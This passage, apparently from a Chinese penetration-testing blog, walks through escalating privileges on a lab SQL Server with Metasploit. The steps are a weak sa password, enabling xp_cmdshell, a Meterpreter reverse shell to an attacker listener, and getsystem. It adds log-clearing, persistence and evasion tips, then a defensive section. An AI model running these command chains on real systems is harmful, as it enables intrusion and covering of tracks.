Server服务账户执行的。这时候可以进一步执行whoami /groups看看这个账户在本地有哪些权限。如果发现它在Administrators组里那提权就很有希望了。我这次演练里whoami /groups返回的结果显示NT Service\MSSQLSERVER确实在BUILTIN\Administrators组里。这意味着虽然它不是一个普通的本地用户但因为它属于管理员组所以拥有管理员权限。这种情况下可以直接用mssql_payload反弹一个Meterpreter会话然后尝试getsystem。3.5 反弹会话mssql_payload的用法与参数mssql_payload模块的作用是通过xp_cmdshell在目标上执行一个payload然后反弹一个Meterpreter会话回来。它的原理是先把payload的可执行文件写到目标磁盘上然后用xp_cmdshell执行它。msf6 use exploit/windows/mssql/mssql_payload msf6 exploit(windows/mssql/mssql_payload) set RHOSTS target_ip msf6 exploit(windows/mssql/mssql_payload) set USERNAME sa msf6 exploit(windows/mssql/mssql_payload) set PASSWORD password msf6 exploit(windows/mssql/mssql_payload) set LHOST your_ip msf6 exploit(windows/mssql/mssql_payload) set LPORT 4444 msf6 exploit(windows/mssql/mssql_payload) set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/mssql/mssql_payload) run这里有几个参数需要特别注意。LHOST和LPORT是你自己的监听地址和端口确保目标能回连。PAYLOAD的选择取决于目标系统的架构如果是64位系统就用x64版本32位就用x86版本。如果不确定可以先执行systeminfo看一下。mssql_payload默认会尝试用xp_cmdshell来执行payload如果xp_cmdshell不可用它会尝试用sp_OACreate作为备选。这个模块的容错性做得不错但在实际使用中我还是建议先手动确认xp_cmdshell可用再跑这个模块成功率会高很多。4. 实操过程全记录从零到拿到系统权限4.1 环境准备与目标确认这次演练的目标是一台Windows Server 2016IP是192.168.10.50开了1433端口。我先用nmap做了一次版本扫描nmap -sV -p 1433 192.168.10.50返回结果1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM确认是SQL Server 2016 RTM版本这个版本没有打任何补丁存在一些已知的提权漏洞但这次我走的是配置不当的路径不依赖漏洞。接下来用mssql_login做认证测试。我先试了sa账户配几个常见弱口令第三个就中了msf6 use auxiliary/scanner/mssql/mssql_login msf6 auxiliary(scanner/mssql/mssql_login) set RHOSTS 192.168.10.50 msf6 auxiliary(scanner/mssql/mssql_login) set USERNAME sa msf6 auxiliary(scanner/mssql/mssql_login) set PASSWORD Pssw0rd123 msf6 auxiliary(scanner/mssql/mssql_login) run返回[] 192.168.10.50:1433 - Login Successful: sa:Pssw0rd123认证通过。4.2 信息收集与权限确认认证通过后跑mssql_enummsf6 use auxiliary/admin/mssql/mssql_enum msf6 auxiliary(admin/mssql/mssql_enum) set RHOSTS 192.168.10.50 msf6 auxiliary(admin/mssql/mssql_enum) set USERNAME sa msf6 auxiliary(admin/mssql/mssql_enum) set PASSWORD Pssw0rd123 msf6 auxiliary(admin/mssql/mssql_enum) run关键返回信息整理成表格项目结果数据库版本Microsoft SQL Server 2016 (13.00.1601.00)当前用户sa角色sysadminxp_cmdshelldisabledOLE Automationdisabled服务账户NT Service\MSSQLSERVER认证模式混合认证从表格可以看出当前账户是sysadmin但xp_cmdshell和OLE Automation都是关闭的。服务账户是NT Service\MSSQLSERVER这是一个虚拟账户权限通常比较有限但需要进一步确认它在本地组里的成员关系。4.3 启用xp_cmdshell并执行命令用mssql_exec启用xp_cmdshellmsf6 use auxiliary/admin/mssql/mssql_exec msf6 auxiliary(admin/mssql/mssql_exec) set RHOSTS 192.168.10.50 msf6 auxiliary(admin/mssql/mssql_exec) set USERNAME sa msf6 auxiliary(admin/mssql/mssql_exec) set PASSWORD Pssw0rd123 msf6 auxiliary(admin/mssql/mssql_exec) set CMD EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; msf6 auxiliary(admin/mssql/mssql_exec) run执行成功没有报错。再用mssql_exec执行whoami确认身份msf6 auxiliary(admin/mssql/mssql_exec) set CMD exec master..xp_cmdshell whoami msf6 auxiliary(admin/mssql/mssql_exec) run返回nt service\mssqlserver。接着执行whoami /groupsmsf6 auxiliary(admin/mssql/mssql_exec) set CMD exec master..xp_cmdshell whoami /groups msf6 auxiliary(admin/mssql/mssql_exec) run返回结果里有一行BUILTIN\Administrators说明这个服务账户在本地管理员组里。这是一个关键发现意味着通过xp_cmdshell执行的命令实际上拥有管理员权限。4.4 反弹Meterpreter会话确认权限之后用mssql_payload反弹会话msf6 use exploit/windows/mssql/mssql_payload msf6 exploit(windows/mssql/mssql_payload) set RHOSTS 192.168.10.50 msf6 exploit(windows/mssql/mssql_payload) set USERNAME sa msf6 exploit(windows/mssql/mssql_payload) set PASSWORD Pssw0rd123 msf6 exploit(windows/mssql/mssql_payload) set LHOST 192.168.10.100 msf6 exploit(windows/mssql/mssql_payload) set LPORT 4444 msf6 exploit(windows/mssql/mssql_payload) set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/mssql/mssql_payload) run几秒钟后Meterpreter会话建立[*] Meterpreter session 1 opened (192.168.10.100:4444 - 192.168.10.50:49152)进入会话后先确认当前权限meterpreter getuid Server username: NT Service\MSSQLSERVER虽然getuid显示的是服务账户但因为它在管理员组里所以实际上拥有管理员权限。这时候可以尝试getsystemmeterpreter getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).getsystem成功当前权限提升为NT AUTHORITY\SYSTEM。到这里提权完成。4.5 提权后的信息收集与痕迹清理拿到SYSTEM权限后我做了几件事。第一是确认系统信息meterpreter sysinfo Computer : WIN-XXXXX OS : Windows Server 2016 (10.0 Build 14393) Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 3 Meterpreter : x64/windows第二是检查是否有域环境meterpreter run post/windows/gather/enum_domain返回结果显示目标不在域内是独立服务器。这意味着横向移动的空间有限但作为演练目标已经足够了。第三是清理痕迹。在授权演练里清理痕迹是必须的主要是删除mssql_payload上传的payload文件、恢复xp_cmdshell的配置、清除SQL Server日志里的相关记录。具体操作这里不展开但思路是你改了什么就恢复什么。5. 常见问题与排查技巧实录5.1 连接失败认证通过但模块报错这是最常见的问题之一。mssql_login显示Login Successful但mssql_exec或mssql_payload却报连接错误。原因通常有几个一是目标SQL Server配置了Remote Access限制只允许本地连接二是防火墙只放行了1433端口的入站但没放行出站回连三是Metasploit的RPORT设置不对。排查思路先用mssql_exec执行一个简单的SELECT VERSION确认模块能正常连接。如果这个都失败说明是连接层面的问题检查RHOSTS、RPORT、USERNAME、PASSWORD这四个参数。如果SELECT VERSION能成功但xp_cmdshell执行失败那就是xp_cmdshell没启用或者被限制。5.2 xp_cmdshell启用失败权限不足或被策略阻止有时候你明明是sysadmin但执行sp_configure xp_cmdshell, 1却报错。常见原因有两个一是show advanced options没打开需要先执行sp_configure show advanced options, 1; RECONFIGURE;二是目标启用了Policy-Based Management通过策略强制关闭了xp_cmdshell这种情况下sp_configure会被策略覆盖。如果是第二种情况可以尝试用sp_addextendedproc重新注册xp_cmdshell的DLL或者走OLE Automation路径。OLE Automation的启用方式和xp_cmdshell类似EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure Ole Automation Procedures, 1; RECONFIGURE;启用之后可以用sp_OACreate和sp_OAMethod来执行命令具体语法这里不展开但思路和xp_cmdshell类似。5.3 命令执行无回显如何确认命令是否执行xp_cmdshell执行命令时如果命令本身没有输出或者输出被截断mssql_exec可能返回空结果。这时候不要慌命令很可能已经执行了。确认方法有两个一是执行一个一定会产生输出的命令比如whoami或ipconfig二是把命令的输出重定向到文件然后用type命令读取。比如exec master..xp_cmdshell whoami C:\Windows\Temp\out.txt exec master..xp_cmdshell type C:\Windows\Temp\out.txt这种方法在命令输出较长或者包含特殊字符时特别有用。5.4 getsystem失败为什么提权不成功getsystem失败的原因通常有几个一是当前账户虽然看起来在管理员组里但实际上是一个过滤后的令牌UAC限制二是目标系统打了某些补丁导致getsystem使用的技术被阻止三是当前会话的完整性级别不够。排查思路先用getprivs看看当前会话有哪些特权。如果SeDebugPrivilege和SeImpersonatePrivilege都在那getsystem应该能成功。如果不在可以尝试用steal_token窃取其他进程的令牌或者用incognito模块做令牌模拟。如果getsystem确实不行还可以尝试用ms16-032、ms16-075等本地提权模块。这些模块在Metasploit里都有用法和普通exploit一样。5.5 常见问题速查表问题现象可能原因排查方法解决方案mssql_login成功但mssql_exec失败连接参数错误或远程访问限制执行SELECT VERSION测试检查RPORT、确认远程访问已开启xp_cmdshell启用报错show advanced options未开或策略限制查看错误信息先开show advanced options或走OLE Automation命令执行无回显命令无输出或输出被截断重定向到文件再读取用重定向再用type读取getsystem失败UAC限制或补丁阻止getprivs查看特权用steal_token或本地提权模块mssql_payload无会话出站防火墙阻止或payload不兼容检查LHOST和架构换端口、换payload架构提示在实际演练中我建议把每个步骤的结果都记录下来尤其是mssql_enum的输出。这些信息在后续排查问题时非常有用而且可以作为演练报告的素材。6. 防御视角从蓝队角度看SQL Server提权怎么防聊完攻击路径也得说说防御。毕竟做演练的目的是为了发现问题、解决问题。从蓝队视角看SQL Server提权之所以能成功通常是因为几个配置上的疏忽。第一是弱口令。sa账户配弱口令是最常见的问题没有之一。防御方法很简单禁用sa账户或者给sa设置一个强密码并且定期更换。如果业务允许尽量用Windows认证代替SQL认证。第二是过度授权。很多管理员图省事直接把应用账户加到sysadmin角色里。正确的做法是遵循最小权限原则应用账户只给必要的数据库权限不给sysadmin。第三是xp_cmdshell未禁用。虽然默认是禁用的但有些管理员为了运维方便会手动开启然后就忘了关。防御方法是定期检查xp_cmdshell的状态确保它是关闭的。如果业务确实需要也要限制只有特定账户能调用。第四是服务账户权限过高。NT Service\MSSQLSERVER这个虚拟账户默认不在管理员组里但如果管理员手动把它加进去了就会导致提权变得异常简单。防御方法是定期检查SQL Server服务账户的本地组成员关系确保它不在Administrators组里。第五是补丁滞后。SQL Server的很多提权漏洞都是通过补丁修复的如果长期不打补丁就等于把门敞开着。防御方法是建立补丁管理流程定期更新SQL Server和操作系统补丁。从检测角度看SQL Server提权会在日志里留下一些痕迹。比如xp_cmdshell的启用会在SQL Server错误日志里记录sp_configure的执行也会被审计。如果开启了SQL Server审计功能这些操作都会被记录下来。蓝队可以通过监控这些日志来发现异常行为。7. 最后分享几个实操中的小技巧第一个技巧是善用mssql_exec做信息收集。很多人只知道用mssql_exec执行xp_cmdshell其实它也可以直接执行SQL查询。比如你想知道当前数据库有哪些表、哪些用户可以直接用mssql_exec执行SELECT语句比用mssql_enum更灵活。第二个技巧是payload的架构选择。mssql_payload默认用的是windows/meterpreter/reverse_tcp这是32位的。如果目标是64位系统最好手动指定windows/x64/meterpreter/reverse_tcp。虽然32位payload在64位系统上也能跑但有些功能会受限比如getsystem的成功率会降低。第三个技巧是会话保持。通过mssql_payload拿到的会话如果目标重启或者SQL Server服务重启会话就会断。如果想让会话更稳定可以在拿到会话后用persistence模块做一个持久化后门。当然在授权演练里持久化操作要谨慎确保不会对目标造成长期影响。第四个技巧是多路径备份。不要只依赖xp_cmdshell一条路。如果xp_cmdshell被禁用了试试OLE Automation如果OLE Automation也不行试试用xp_regwrite写注册表启动项如果都不行还可以试试用BULK INSERT写文件。多准备几条路遇到障碍时就不会卡住。第五个技巧是注意OPSEC。在实际演练里动作越大被发现的概率越高。mssql_payload上传的payload文件、执行的命令、建立的连接都会在目标系统上留下痕迹。如果演练有蓝队参与尽量用内存执行的方式减少落盘操作。Metasploit的mssql_payload默认会落盘如果条件允许可以试试用mssql_exec配合PowerShell的内存加载方式减少痕迹。这些技巧都是我在多次演练里踩坑踩出来的希望对你有用。SQL Server提权这条链路说复杂也复杂说简单也简单关键是把每个环节的原理搞清楚然后根据目标环境灵活调整。工具是死的思路是活的。